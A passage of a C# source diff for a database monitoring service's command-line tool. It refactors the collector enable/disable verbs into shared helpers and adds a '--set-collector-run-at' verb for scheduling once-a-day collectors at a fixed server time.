         if (rows.Count == 0)
         {
             lines.Add("  (none — the code default applies everywhere)");
+            AppendRunTimeLines(lines, collectorName, runTimes);
             return lines;
         }
 
         foreach (var row in rows)
         {
-            var scope = row.ServerId is null
-                ? "fleet-wide"
-                : string.IsNullOrEmpty(row.ServerLabel)
-                    ? string.Format(CultureInfo.InvariantCulture, "server_id {0} (not in the servers registry)", row.ServerId)
-                    : string.Format(CultureInfo.InvariantCulture, "{0} (server_id {1})", row.ServerLabel, row.ServerId);
+            var scope = DescribeReadbackScope(row.ServerId, row.ServerLabel);
             var frequency = row.FrequencyMinutes is int f ? DescribeFrequency(f) : "(default)";
             var retention = row.RetentionDays is int r ? string.Format(CultureInfo.InvariantCulture, "{0} days", r) : "(default)";
             var line = string.Format(
@@ -5645,12 +6124,54 @@ internal static IReadOnlyList<string> FormatCollectorScheduleRows(string collect
             lines.Add("  (a server's own row wins over the fleet-wide row for that server, column by column)");
         }
 
+        AppendRunTimeLines(lines, collectorName, runTimes);
         return lines;
     }
 
+    /// <summary>The scope a read-back row is printed under: <c>fleet-wide</c>, or the server's registry label with its id, or the
+    /// id alone for a server with no registry row (one that has never connected).</summary>
+    private static string DescribeReadbackScope(int? serverId, string? serverLabel) =>
+        serverId is null
+            ? "fleet-wide"
+            : string.IsNullOrEmpty(serverLabel)
+                ? string.Format(CultureInfo.InvariantCulture, "server_id {0} (not in the servers registry)", serverId)
+                : string.Format(CultureInfo.InvariantCulture, "{0} (server_id {1})", serverLabel, serverId);
+
+    /// <summary>
+    /// The run-time lines of the read-back (#4938): a heading and one line per run-time row (scope, then the time on the
+    /// server's clock, or "none" for a server that is opted out of the fleet's time). Nothing is printed for a collector with no run
+    /// time, so every other read-back reads exactly as it always has.
+    /// </summary>
+    private static void AppendRunTimeLines(List<string> lines, string collectorName, IReadOnlyList<CollectorRunTimeReadbackRow>? runTimes)
+    {
+        if (runTimes is null || runTimes.Count == 0)
+        {
+            return;
+        }
+
+        lines.Add($"Run times in the store for {collectorName}:");
+        foreach (var runTime in runTimes)
+        {
+            lines.Add("  " + DescribeReadbackScope(runTime.ServerId, runTime.ServerLabel)
+                + ": run_at=" + DescribeRunAt(runTime.RunAtMinute, runTime.ServerId is null));
+        }
+    }
+
     private static string DescribeFrequency(int minutes) =>
         minutes == 0 ? "on load only" : string.Format(CultureInfo.InvariantCulture, "every {0} min", minutes);
 
+    /// <summary>
+    /// A stored run time as the read-back prints it (#4938): <c>HH:MM server time</c> for a minute after midnight, and for -1 the
+    /// "no fixed time" reading, which on a server's own row also says it stops the fleet's time for that server. A value outside
+    /// the column's own range (a CHECK keeps it from ever being stored) prints as what it is rather than failing the read-back.
+    /// </summary>
+    private static string DescribeRunAt(int runAtMinute, bool fleetRow) =>
+        runAtMinute == -1
+            ? (fleetRow ? "none (no fixed time)" : "none (no fixed time on this server)")
+            : runAtMinute is >= 0 and < 1440
+                ? CollectorRunTime.Format(runAtMinute) + " server time"
+                : string.Format(CultureInfo.InvariantCulture, "{0} (not a valid run time)", runAtMinute);
+
     /// <summary>Exit codes <see cref="ToggleCollectorAsync"/> returns for <c>--enable-collector</c> and
     /// <c>--disable-collector</c> (#4744): one code for a usage or configuration problem and another for a store that
     /// cannot be reached or refuses the change, so a script can tell them apart instead of reading every failure as a
@@ -5661,8 +6182,9 @@ public static class CollectorToggleExitCode
         public const int Success = 0;
 
         /// <summary>Bad arguments, a config that is missing or invalid, a connection string that cannot be used, a
-        /// managed store's credential that is not stored or cannot be read, an unknown collector, or a
-        /// <c>--server</c> that names no server or more than one.</summary>
+        /// managed store's credential that is not stored or cannot be read, an unknown collector, a
+        /// <c>--server</c> that names no server or more than one, or (<c>--set-collector-run-at</c> only) a store that has not
+        /// been upgraded to the run-time table yet.</summary>
         public const int UsageOrConfig = 1;
 
         /// <summary>The store cannot be reached, or it refuses the write (or the read-back after it).</summary>
@@ -5732,43 +6254,93 @@ never opens a connection. The canonical spelling is what gets written (see Canon
             return CollectorToggleExitCode.UsageOrConfig;
         }
 
-        DarlingConfig config;
-        try
-        {
-            config = DarlingConfig.Load(configPath);
-        }
-        catch (Exception ex)
+        var created = TryCreateCollectorStoreDataSource(verb, configPath, error);
+        if (created is null)
         {
-            error.WriteLine($"Could not load configuration: {ex.Message}");
             return CollectorToggleExitCode.UsageOrConfig;
         }
 
-        var postgres = config.Postgres;
-        if (postgres is null)
-        {
-            error.WriteLine("postgres section is required.");
-            return CollectorToggleExitCode.UsageOrConfig;
-        }
+        await using var dataSource = created;
 
-        /* The managed store credential is DPAPI, so it can only be read on Windows. Bring-your-own needs no such
-           guard, which is why this is scoped to the managed store rather than the whole verb — the --add-server
-           shape, for the --add-server reason. */
-        if (postgres.Managed && !OperatingSystem.IsWindows())
+        output.WriteLine();
+        output.WriteLine($"PerformanceMonitor Darling — {(enable ? "enable" : "disable")} a collector ({verb})");
+        output.WriteLine();
+
+        var scope = await ResolveCollectorScopeAsync(dataSource, serverName, error);
+        if (scope.FailureExitCode is int scopeFailure)
         {
-            error.WriteLine($"A managed Postgres store keeps its credential in DPAPI, so {verb} needs Windows. "
-                + "A bring-your-own store (postgres.connectionString) works on any platform.");
-            return CollectorToggleExitCode.UsageOrConfig;
+            return scopeFailure;
         }
 
-        /* Building the store connection is where a string Npgsql cannot parse (sslmode=NotARealSslMode, say) and a
-           managed credential file that cannot be read or unprotected both throw. That is a problem with the
-           setting, not a crash: say so and exit with the usage-or-config code (#4744). The worker's own
+        var serverId = scope.ServerId;
+        var scopeLabel = scope.Label;
+
+        /* The executor's plan for the FINAL scope — the same call the pre-flight made, now with the server
+           resolved — executed through the executor's own store-write path. */
+        var plan = PlanCollectorToggle(enable, collectorName, serverId);
+        try
+        {
+            await DarlingCommandExecutor.ExecuteStoreWriteAsync(dataSource, plan, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            error.WriteLine($"Could not update the control-plane store: {ex.Message}");
+            return CollectorToggleExitCode.StoreUnavailable;
+        }
+
+        output.WriteLine($"  [{(enable ? "ENABLED" : "DISABLED")}] {collectorName} — {scopeLabel} ({plan.SuccessStatus}).");
+        output.WriteLine();
+
+        return await PrintCollectorScheduleReadbackAsync(dataSource, collectorName, output, error, cancellationToken);
+    }
+
+    /// <summary>
+    /// The store connection the collector schedule verbs open, <see cref="ToggleCollectorAsync"/> and
+    /// <see cref="SetCollectorRunAtAsync"/>: load darling.json, check the platform for a managed store's credential, build the
+    /// connection string and create the data source. One body for both, so a refusal reads the same from either verb and the
+    /// store-opening call sites stay the ones <c>DarlingCliUnusableStoreConnectionTests</c> counts. Returns null after writing the
+    /// reason to <paramref name="error"/>; every refusal here is <see cref="CollectorToggleExitCode.UsageOrConfig"/>. The caller
+    /// disposes the data source.
+    /// </summary>
+    private static NpgsqlDataSource? TryCreateCollectorStoreDataSource(string verb, string? configPath, TextWriter error)
+    {
+        DarlingConfig config;
+        try
+        {
+            config = DarlingConfig.Load(configPath);
+        }
+        catch (Exception ex)
+        {
+            error.WriteLine($"Could not load configuration: {ex.Message}");
+            return null;
+        }
+
+        var postgres = config.Postgres;
+        if (postgres is null)
+        {
+            error.WriteLine("postgres section is required.");
+            return null;
+        }
+
+        /* The managed store credential is DPAPI, so it can only be read on Windows. Bring-your-own needs no such
+           guard, which is why this is scoped to the managed store rather than the whole verb — the --add-server
+           shape, for the --add-server reason. */
+        if (postgres.Managed && !OperatingSystem.IsWindows())
+        {
+            error.WriteLine($"A managed Postgres store keeps its credential in DPAPI, so {verb} needs Windows. "
+                + "A bring-your-own store (postgres.connectionString) works on any platform.");
+            return null;
+        }
+
+        /* Building the store connection is where a string Npgsql cannot parse (sslmode=NotARealSslMode, say) and a
+           managed credential file that cannot be read or unprotected both throw. That is a problem with the
+           setting, not a crash: say so and exit with the usage-or-config code (#4744). The worker's own
            normalization goes with it: a bring-your-own string usually omits the collect/config search path, and the
            registry read below (--server) names the servers table bare, as every MCP read does. */
         if (!TryBuildStoreConnectionString(postgres, out var connectionString, out var unusable, ensureStoreSearchPath: true))
         {
             error.WriteLine(unusable);
-            return CollectorToggleExitCode.UsageOrConfig;
+            return null;
         }
 
         if (string.IsNullOrWhiteSpace(connectionString))
@@ -5778,90 +6350,101 @@ bool is not something the platform analyzer can correlate with an earlier OS gua
             error.WriteLine(postgres.Managed && OperatingSystem.IsWindows()
                 ? DarlingStoreBootstrapEvidence.MissingStoreCredentialMessage(postgres)
                 : "postgres.connectionString is empty, so there is no store to write a schedule to.");
-            return CollectorToggleExitCode.UsageOrConfig;
+            return null;
         }
 
-        await using var dataSource = NpgsqlDataSource.Create(
+        return NpgsqlDataSource.Create(
             DarlingStoreConnection.PinSessionTimeZoneUtc(
                 DarlingStoreConnection.WithApplicationName(connectionString, DarlingManagedPostgres.CliApplicationName)));
+    }
 
-        output.WriteLine();
-        output.WriteLine($"PerformanceMonitor Darling — {(enable ? "enable" : "disable")} a collector ({verb})");
-        output.WriteLine();
-
-        int? serverId = null;
-        var scopeLabel = "fleet-wide";
-        if (serverName is not null)
-        {
-            List<DarlingServerResolver.RegisteredServer> servers;
-            try
-            {
-                servers = await DarlingServerResolver.LoadEnabledAsync(dataSource, CancellationToken.None);
-            }
-            catch (Exception ex) when (ex is not OperationCanceledException)
-            {
-                error.WriteLine($"Could not read the servers registry from the store: {ex.Message}");
-                return CollectorToggleExitCode.StoreUnavailable;
-            }
-
-            var target = DarlingMcpServerAdminTools.ResolveForRemoval(servers, serverName);
-            if (target.Candidates.Count == 0)
-            {
-                /* The read resolver's miss message: the local listing (a typo is the commonest miss) plus the
-                   #2339 peer disclosure when another store declares coverage of the name. The resolver hands it
-                   back as the `invalid` envelope since #3739; stderr is TEXT, so the sentence is read out of it. */
-                var (_, missMessage) = DarlingServerResolver.ResolveOrError(servers, serverName);
-                error.WriteLine(missMessage is null ? $"Could not resolve server '{serverName}'." : McpHelpers.ErrorMessageOf(missMessage));
-                error.WriteLine("Nothing was changed.");
-                return CollectorToggleExitCode.UsageOrConfig;
-            }
-
-            if (target.Candidates.Count > 1)
-            {
-                error.WriteLine(
-                    $"'{serverName}' matches {target.Candidates.Count} servers " +
-                    $"({(target.MatchedBy == "exact" ? "the same name on more than one registration" : "as a partial name")}); nothing was changed. " +
-                    "Re-run with ONE candidate's full storage name:");
-                foreach (var candidate in target.Candidates)
-                {
-                    error.WriteLine(string.IsNullOrEmpty(candidate.DisplayName) || candidate.DisplayName == candidate.ServerName
-                        ? $"  {candidate.ServerName}"
-                        : $"  {candidate.DisplayName} ({candidate.ServerName})");
-                }
+    /// <summary>What <see cref="ResolveCollectorScopeAsync"/> decided: the schedule row a verb writes, or the exit code it stops with.</summary>
+    private readonly record struct CollectorScope(int? ServerId, string Label, int? FailureExitCode)
+    {
+        /// <summary>No <c>--server</c>: the fleet-wide row (<c>server_id</c> NULL).</summary>
+        public static CollectorScope Fleet { get; } = new(null, "fleet-wide", null);
 
-                return CollectorToggleExitCode.UsageOrConfig;
-            }
+        /// <summary>The server could not be resolved, so nothing is written and the verb returns <paramref name="exitCode"/>.</summary>
+        public static CollectorScope Failed(int exitCode) => new(null, string.Empty, exitCode);
+    }
 
-            var resolved = target.Candidates[0];
-            serverId = resolved.ServerId;
-            scopeLabel = string.IsNullOrEmpty(resolved.DisplayName) || resolved.DisplayName == resolved.ServerName
-                ? resolved.ServerName
-                : $"{resolved.DisplayName} ({resolved.ServerName})";
+    /// <summary>
+    /// The scope of a collector schedule write, shared by <see cref="ToggleCollectorAsync"/> and <see cref="SetCollectorRunAtAsync"/>:
+    /// no <c>--server</c> is the fleet-wide row; a name is resolved against the enabled <c>servers</c> registry by the WRITE rule,
+    /// <see cref="DarlingMcpServerAdminTools.ResolveForRemoval"/> (#3541 A14), and a miss or an ambiguous partial name is refused
+    /// with the candidates named and "Nothing was changed." The one place either verb resolves a server, so the two cannot learn
+    /// different rules.
+    /// </summary>
+    private static async Task<CollectorScope> ResolveCollectorScopeAsync(NpgsqlDataSource dataSource, string? serverName, TextWriter error)
+    {
+        if (serverName is null)
+        {
+            return CollectorScope.Fleet;
         }
 
-        /* The executor's plan for the FINAL scope — the same call the pre-flight made, now with the server
-           resolved — executed through the executor's own store-write path. */
-        var plan = PlanCollectorToggle(enable, collectorName, serverId);
+        List<DarlingServerResolver.RegisteredServer> servers;
         try
         {
-            await DarlingCommandExecutor.ExecuteStoreWriteAsync(dataSource, plan, cancellationToken);
+            servers = await DarlingServerResolver.LoadEnabledAsync(dataSource, CancellationToken.None);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            error.WriteLine($"Could not update the control-plane store: {ex.Message}");
-            return CollectorToggleExitCode.StoreUnavailable;
+            error.WriteLine($"Could not read the servers registry from the store: {ex.Message}");
+            return CollectorScope.Failed(CollectorToggleExitCode.StoreUnavailable);
         }
 
-        output.WriteLine($"  [{(enable ? "ENABLED" : "DISABLED")}] {collectorName} — {scopeLabel} ({plan.SuccessStatus}).");
-        output.WriteLine();
+        var target = DarlingMcpServerAdminTools.ResolveForRemoval(servers, serverName);
+        if (target.Candidates.Count == 0)
+        {
+            /* The read resolver's miss message: the local listing (a typo is the commonest miss) plus the
+               #2339 peer disclosure when another store declares coverage of the name. The resolver hands it
+               back as the `invalid` envelope since #3739; stderr is TEXT, so the sentence is read out of it. */
+            var (_, missMessage) = DarlingServerResolver.ResolveOrError(servers, serverName);
+            error.WriteLine(missMessage is null ? $"Could not resolve server '{serverName}'." : McpHelpers.ErrorMessageOf(missMessage));
+            error.WriteLine("Nothing was changed.");
+            return CollectorScope.Failed(CollectorToggleExitCode.UsageOrConfig);
+        }
+
+        if (target.Candidates.Count > 1)
+        {
+            error.WriteLine(
+                $"'{serverName}' matches {target.Candidates.Count} servers " +
+                $"({(target.MatchedBy == "exact" ? "the same name on more than one registration" : "as a partial name")}); nothing was changed. " +
+                "Re-run with ONE candidate's full storage name:");
+            foreach (var candidate in target.Candidates)
+            {
+                error.WriteLine(string.IsNullOrEmpty(candidate.DisplayName) || candidate.DisplayName == candidate.ServerName
+                    ? $"  {candidate.ServerName}"
+                    : $"  {candidate.DisplayName} ({candidate.ServerName})");
+            }
+
+            return CollectorScope.Failed(CollectorToggleExitCode.UsageOrConfig);
+        }
 
+        var resolved = target.Candidates[0];
+        var scopeLabel = string.IsNullOrEmpty(resolved.DisplayName) || resolved.DisplayName == resolved.ServerName
+            ? resolved.ServerName
+            : $"{resolved.DisplayName} ({resolved.ServerName})";
+        return new CollectorScope(resolved.ServerId, scopeLabel, null);
+    }
+
+    /// <summary>
+    /// The read-back both collector schedule verbs end with: every override row for the collector, printed, then the line that says
+    /// no restart is needed. Returns <see cref="CollectorToggleExitCode.Success"/>, or
+    /// <see cref="CollectorToggleExitCode.StoreUnavailable"/> when the rows cannot be read back (the write is already committed).
+    /// </summary>
+    private static async Task<int> PrintCollectorScheduleReadbackAsync(
+        NpgsqlDataSource dataSource, string collectorName, TextWriter output, TextWriter error, CancellationToken cancellationToken)
+    {
         /* Read back rather than echo: the rows are what the service will resolve, and printing the input would
            say nothing about a frequency override the write preserved or a per-server row the fleet row does not
            govern. A failure HERE is reported as what it is — the write is already committed. */
         List<CollectorScheduleReadbackRow> rows;
+        List<CollectorRunTimeReadbackRow> runTimes;
         try
         {
             rows = await ReadCollectorScheduleRowsAsync(dataSource, collectorName, cancellationToken);
+            runTimes = await ReadCollectorRunTimeRowsAsync(dataSource, collectorName, cancellationToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -5869,7 +6452,7 @@ govern. A failure HERE is reported as what it is — the write is already commit
             return CollectorToggleExitCode.StoreUnavailable;
         }
 
-        foreach (var line in FormatCollectorScheduleRows(collectorName, rows))
+        foreach (var line in FormatCollectorScheduleRows(collectorName, rows, runTimes))
         {
             output.WriteLine(line);
         }
@@ -5881,19 +6464,296 @@ govern. A failure HERE is reported as what it is — the write is already commit
         return CollectorToggleExitCode.Success;
     }
 
+    /* ───────────────────── --set-collector-run-at (#4938) ───────────────────── */
+
+    /// <summary>
+    /// What <c>--set-collector-run-at</c> prints when its arguments do not parse, name no known collector or carry a time that is not
+    /// <c>HH:MM</c>, <c>none</c> or <c>default</c>: to STDOUT, as <see cref="CollectorToggleUsageText"/> does, with the one-line refusal
+    /// itself on STDERR. It lists the collectors that run once a day or less often by default, because those are the ones the verb
+    /// accepts (a frequency override can make another one daily, and the verb judges that against the store).
+    /// </summary>
+    public static string CollectorRunAtUsageText() =>
+        "Usage:" + Environment.NewLine +
+        "  PerformanceMonitor.Darling.Service.exe --set-collector-run-at <collector> <HH:MM|none|default> [--server <server>] [--config <path to darling.json>]" + Environment.NewLine +
+        Environment.NewLine +
+        "<collector> is a collector name as collection health reports it, one that runs once a day or less often." + Environment.NewLine +
+        "HH:MM is a 24-hour time of day, 00:00 to 23:59, on the monitored server's own clock (server time): the collector starts in" + Environment.NewLine +
+        "that hour instead of whenever the service happened to start. Each server starts at its own minute inside the hour, so a" + Environment.NewLine +
+        "fleet-wide time does not start every server at once." + Environment.NewLine +
+        "none stops a fixed time: on a server's own row it keeps the fleet's time from applying to that server, and on the fleet-wide" + Environment.NewLine +
+        "row it clears the time." + Environment.NewLine +
+        "default clears the row's time, so the next level applies again (a server's row falls back to the fleet-wide time)." + Environment.NewLine +
+        "Without --server the change is FLEET-WIDE (the schedule row with no server); --server <server> writes that server's own row" + Environment.NewLine +
+        "instead (its display name or storage name, as the Viewer and the MCP tools show it)." + Environment.NewLine +
+        "Only the run time is written; the enabled flag, frequency and retention already on the row are kept. A time on a collector that" + Environment.NewLine +
+        "runs more often than once a day is refused: change its frequency, or clear the time." + Environment.NewLine +
+        Environment.NewLine +
+        "Collectors that run once a day or less often by default (\"ships OFF\" = opt-in):" + Environment.NewLine +
+        KnownCollectorsText(entry => CollectorRunTime.AllowsRunAt(CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(entry.FrequencyMinutes)));
+
+    /// <summary>
+    /// Parses <c>--set-collector-run-at</c>'s trailing arguments STRICTLY, the posture <see cref="TryParseCollectorToggleArgs"/> takes:
+    /// exactly two bare arguments, the collector name and then the time (<c>HH:MM</c>, <c>none</c> or <c>default</c>, which the plan
+    /// checks, not this grammar), plus <c>--server &lt;name&gt;</c> and <c>--config &lt;path&gt;</c>, each taking a value, in any order.
+    /// Anything else starting with '-' is refused rather than taken as a name or a time. Pure, so the grammar pins. Returns false with
+    /// a ready-to-print <paramref name="errorMessage"/> that names <paramref name="verb"/>.
+    /// </summary>
+    /// <param name="verb">The verb as typed (for the messages).</param>
+    /// <param name="rest">The arguments AFTER the verb itself.</param>
+    public static bool TryParseCollectorRunAtArgs(
+        string verb, string[] rest, out string? collectorName, out string? runAt, out string? serverName, out string? configPath, out string? errorMessage)
+    {
+        collectorName = null;
+        runAt = null;
+        serverName = null;
+        configPath = null;
+        errorMessage = null;
+
+        for (var i = 0; i < rest.Length; i++)
+        {
+            var arg = rest[i];
+            if (string.Equals(arg, "--server", StringComparison.OrdinalIgnoreCase))
+            {
+                if (i + 1 >= rest.Length || rest[i + 1].StartsWith('-'))
+                {
+                    errorMessage = $"--server needs a server name: {verb} <collector> <HH:MM|none|default> --server <display name or storage name>";
+                    return false;
+                }
+
+                serverName = rest[++i];
+                continue;
+            }
+
+            if (string.Equals(arg, "--config", StringComparison.OrdinalIgnoreCase))
+            {
+                if (i + 1 >= rest.Length || rest[i + 1].StartsWith('-'))
+                {
+                    errorMessage = $"--config needs a path: {verb} <collector> <HH:MM|none|default> --config <path to darling.json>";
+                    return false;
+                }
+
+                configPath = rest[++i];
+                continue;
+            }
+
+            if (arg.StartsWith('-'))
+            {
+                errorMessage = $"Unknown option for {verb}: {arg}";
+                return false;
+            }
+
+            if (collectorName is null)
+            {
+                collectorName = arg;
+                continue;
+            }
+
+            if (runAt is null)
+            {
+                runAt = arg;
+                continue;
+            }
+
+            errorMessage = $"{verb} takes ONE collector name and ONE time; got '{collectorName}', '{runAt}' and '{arg}'.";
+            return false;
+        }
+
+        if (string.IsNullOrWhiteSpace(collectorName))
+        {
+            errorMessage = $"{verb} needs a collector name and a time.";
+            return false;
+        }
+
+        if (runAt is null)
+        {
+            errorMessage = $"{verb} needs a time: HH:MM, none or default.";
+            return false;
+        }
+
+        return true;
+    }
+
+    /// <summary>
+    /// The store command this verb stands in for: the <c>set_collector_run_at</c> row the command plane carries for the same request,
+    /// minus the queue (<see cref="BuildCollectorToggleCommand"/>'s shape). <c>CommandId</c> 0 because no row exists, <c>RequestedBy</c>
+    /// names the surface, and <paramref name="runAt"/> is the text as typed, which the plan reads.
+    /// </summary>
+    internal static ClaimedCommand BuildCollectorRunAtCommand(string collectorName, string runAt, int? serverId) =>
+        new(
+            CommandId: 0,
+            CommandType: "set_collector_run_at",
+            TargetServerId: serverId,
+            ArgsJson: JsonSerializer.Serialize(new { collector_name = collectorName, run_at = runAt }),
+            RequestedBy: "cli");
+
+    /// <summary>
+    /// The plan the verb executes: <see cref="DarlingCommandExecutor.ResolvePlan"/> over <see cref="BuildCollectorRunAtCommand"/>,
+    /// nothing else, so the verb owns no SQL and the refusals ("unknown collector", a time that is not <c>HH:MM</c>) are the
+    /// executor's. A test holds this equal to the executor's plan for the same inputs. Pure.
+    /// </summary>
+    internal static CommandPlan PlanCollectorRunAt(string collectorName, string runAt, int? serverId) =>
+        DarlingCommandExecutor.ResolvePlan(BuildCollectorRunAtCommand(collectorName, runAt, serverId));
+
+    /// <summary>
+    /// The interval, in minutes, a run time would be judged against for the row the verb writes: the target row's frequency, else
+    /// (for a server) the fleet row's, else the code default, by <see cref="CollectorScheduleDefaults.ResolveFrequencyMinutes"/>, the
+    /// rule the service schedules by, then <see cref="CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes"/> so an on-load
+    /// collector counts as a daily one. Pure over the rows <see cref="ReadCollectorScheduleRowsAsync"/> read.
+    /// </summary>
+    internal static int ResolveRunAtInterval(string collectorName, int? serverId, IReadOnlyList<CollectorScheduleReadbackRow> rows)
+    {
+        var fleet = rows.FirstOrDefault(r => r.ServerId is null);
+        var server = serverId is int id ? rows.FirstOrDefault(r => r.ServerId == id) : null;
+        var frequency = CollectorScheduleDefaults.ResolveFrequencyMinutes(collectorName, server?.FrequencyMinutes, fleet?.FrequencyMinutes);
+        return CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(frequency);
+    }
+
+    /// <summary>
+    /// <c>--set-collector-run-at</c> (#4938): sets, stops or clears the time of day a once-a-day collector runs, in
+    /// <c>config.config_collector_run_times</c>, fleet-wide or for one server with <c>--server</c>, and prints the rows
+    /// read back from the store.
+    ///
+    /// <para><b>Same shape as the toggle verbs.</b> It parses strictly, checks the collector name and the time through the executor's
+    /// own plan before it touches config or the store, opens the store through the one shared body
+    /// (<see cref="TryCreateCollectorStoreDataSource"/>), resolves <c>--server</c> through the one shared resolver
+    /// (<see cref="ResolveCollectorScopeAsync"/>), writes the executor's plan through
+    /// <see cref="DarlingCommandExecutor.ExecuteStoreWriteAsync(NpgsqlDataSource, CommandPlan, CancellationToken)"/>, and reads the rows back.
+    /// The verb owns no SQL. The run time has a table of its own, so the plan never touches a schedule row (the enabled flag, frequency
+    /// and retention are neither read nor written), and the table's <c>trg_bump_collector_run_times</c> trigger bumps <c>config_version</c>
+    /// so the running service re-resolves within one sweep.</para>
+    ///
+    /// <para><b>The interval check.</b> A time is accepted only when the collector's interval, for the row being written, is a whole
+    /// number of days (<see cref="CollectorRunTime.AllowsRunAt"/>): the target row's frequency, else the fleet row's, else the code
+    /// default (<see cref="ResolveRunAtInterval"/>). Otherwise it is refused with <see cref="CollectorRunTime.IntervalRefusalMessage"/>,
+    /// the text the Viewer shows, and exit code 1; nothing is written. <c>none</c> and <c>default</c> are never refused, because clearing
+    /// is the remedy that refusal names.</para>
+    ///
+    /// <para>Exit codes are <see cref="CollectorToggleExitCode"/>'s: 0 when the row was written and read back; 1 on an argument, config,
+    /// time, interval, credential or server-resolution problem, or when the store has not been upgraded to the run-time table yet
+    /// (<see cref="RunTimeTableMissingMessage"/>: nothing is written, and the service migrates the store when it starts); 2 when the
+    /// store cannot be reached or refuses the change for any other reason.</para>
+    /// </summary>
+    /// <param name="rest">The arguments AFTER the verb itself.</param>
+    public static async Task<int> SetCollectorRunAtAsync(
+        string[] rest, TextWriter output, TextWriter error, CancellationToken cancellationToken)
+    {
+        const string Verb = "--set-collector-run-at";
+
+        if (!TryParseCollectorRunAtArgs(Verb, rest, out var typedName, out var runAtText, out var serverName, out var configPath, out var argError))
+        {
+            error.WriteLine(argError);
+            output.WriteLine(CollectorRunAtUsageText());
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+
+        /* Validate the name and the time BEFORE touching config or the store, through the executor itself: a fleet-scoped plan either
+           resolves (StoreWrite) or fails with the executor's own reason, so a typo or a bad time never opens a connection. The
+           canonical spelling of the name is what gets written (see CanonicalCollectorName). */
+        var collectorName = CanonicalCollectorName(typedName) ?? typedName!;
+        var preflight = PlanCollectorRunAt(collectorName, runAtText!, serverId: null);
+        if (preflight.Kind != CommandKind.StoreWrite)
+        {
+            error.WriteLine(preflight.FailReason ?? $"{Verb}: the executor refused the request.");
+            output.WriteLine(CollectorRunAtUsageText());
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+
+        var created = TryCreateCollectorStoreDataSource(Verb, configPath, error);
+        if (created is null)
+        {
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+
+        await using var dataSource = created;
+
+        output.WriteLine();
+        output.WriteLine($"PerformanceMonitor Darling — set a collector's run time ({Verb})");
+        output.WriteLine();
+
+        var scope = await ResolveCollectorScopeAsync(dataSource, serverName, error);
+        if (scope.FailureExitCode is int scopeFailure)
+        {
+            return scopeFailure;
+        }
+
+        /* The interval check, for a time only. It reads the rows through the toggle verbs' own read-back, before anything is written. */
+        var isTime = CollectorRunTime.TryParse(runAtText, out var minuteOfDay);
+        if (isTime)
+        {
+            List<CollectorScheduleReadbackRow> existing;
+            try
+            {
+                existing = await ReadCollectorScheduleRowsAsync(dataSource, collectorName, cancellationToken);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                error.WriteLine($"Could not read the schedule rows from the store: {ex.Message}");
+                return CollectorToggleExitCode.StoreUnavailable;
+            }
+
+            var interval = ResolveRunAtInterval(collectorName, scope.ServerId, existing);
+            if (!CollectorRunTime.AllowsRunAt(interval))
+            {
+                error.WriteLine(CollectorRunTime.IntervalRefusalMessage(collectorName, interval));
+                error.WriteLine("Nothing was changed.");
+                return CollectorToggleExitCode.UsageOrConfig;
+            }
+        }
+
+        /* The executor's plan for the FINAL scope, executed through the executor's own store-write path. */
+        var plan = PlanCollectorRunAt(collectorName, runAtText!, scope.ServerId);
+        try
+        {
+            await DarlingCommandExecutor.ExecuteStoreWriteAsync(dataSource, plan, cancellationToken);
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedTable)
+        {
+            /* The plan names the run-time table and no other table a store can lack, so an undefined table here is a store
+               the service has not migrated to it yet (V160), and the one statement wrote nothing. The toggle verbs read such a
+               store back without it; this verb cannot write without it, so it says why in plain words and exits with the code
+               of its other refusals of a store that is not ready. The state code, not the message text, is what is matched:
+               lc_messages is not always English. */
+            error.WriteLine(RunTimeTableMissingMessage(Verb));
+            error.WriteLine("Nothing was changed.");
+            return CollectorToggleExitCode.UsageOrConfig;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            error.WriteLine($"Could not update the control-plane store: {ex.Message}");
+            return CollectorToggleExitCode.StoreUnavailable;
+        }
+
+        var cleared = plan.SuccessStatus.Contains("cleared", StringComparison.Ordinal);
+        var detail = cleared
+            ? "run time cleared"
+            : isTime
+                ? $"run at {CollectorRunTime.Format(minuteOfDay)} server time"
+                : "no fixed run time on this server";
+        output.WriteLine($"  [{(cleared ? "CLEARED" : "SET")}] {collectorName} — {scope.Label} ({detail}).");
+        output.WriteLine();
+
+        return await PrintCollectorScheduleReadbackAsync(dataSource, collectorName, output, error, cancellationToken);
+    }
+
+    /// <summary>What <c>--set-collector-run-at</c> says on a store that has no run-time table yet (<paramref name="verb"/> is the
+    /// verb as typed). Plain words, no store error text. Pure, so the sentence pins.</summary>
+    internal static string RunTimeTableMissingMessage(string verb) =>
+        $"The store has not been upgraded to the run-time table yet. Start the service once to migrate it, then run {verb} again.";
+
     /// <summary>Exit codes <see cref="DropXeSessionsAsync(string[], TextWriter, TextWriter, CancellationToken)"/> returns for
     /// <c>--drop-xe-sessions</c> (#4732), in the two-failure-kind shape <see cref="CollectorToggleExitCode"/> uses, so a script
     /// can tell its own mistake from a server that is down.</summary>
     public static class DropXeSessionsExitCode
     {
-        /// <summary>Every session found was dropped (listed, with <c>--dry-run</c>), none was there, or <c>--print-sql</c> printed.</summary>
+        /// <summary>Every session found was dropped (listed, with <c>--dry-run</c>), none was there, or <c>--print-sql</c> printed. An
+        /// excluded database that could not be searched for the long-query session is a note on stderr and does not change it.</summary>
         public const int Success = 0;
 
         /// <summary>Bad arguments, a configuration that is missing or invalid, a store setting that cannot be used, or a server name
         /// that matches no server (the message names <c>--print-sql</c>) or more than one.</summary>
         public const int UsageOrConfig = 1;
 
-        /// <summary>The server cannot be connected to, cannot be searched (all of it, or one database of it), or refused a DROP.</summary>
+        /// <summary>The server cannot be connected to, cannot be searched (all of it, or one monitored database of it), or refused a DROP.</summary>
         public const int TargetUnavailable = 2;
     }
 
@@ -5902,11 +6762,15 @@ public static string DropXeSessionsUsageText() =>
         "Usage:" + Environment.NewLine +
         "  --drop-xe-sessions <server-name> [--dry-run] [--config <path>]" + Environment.NewLine +
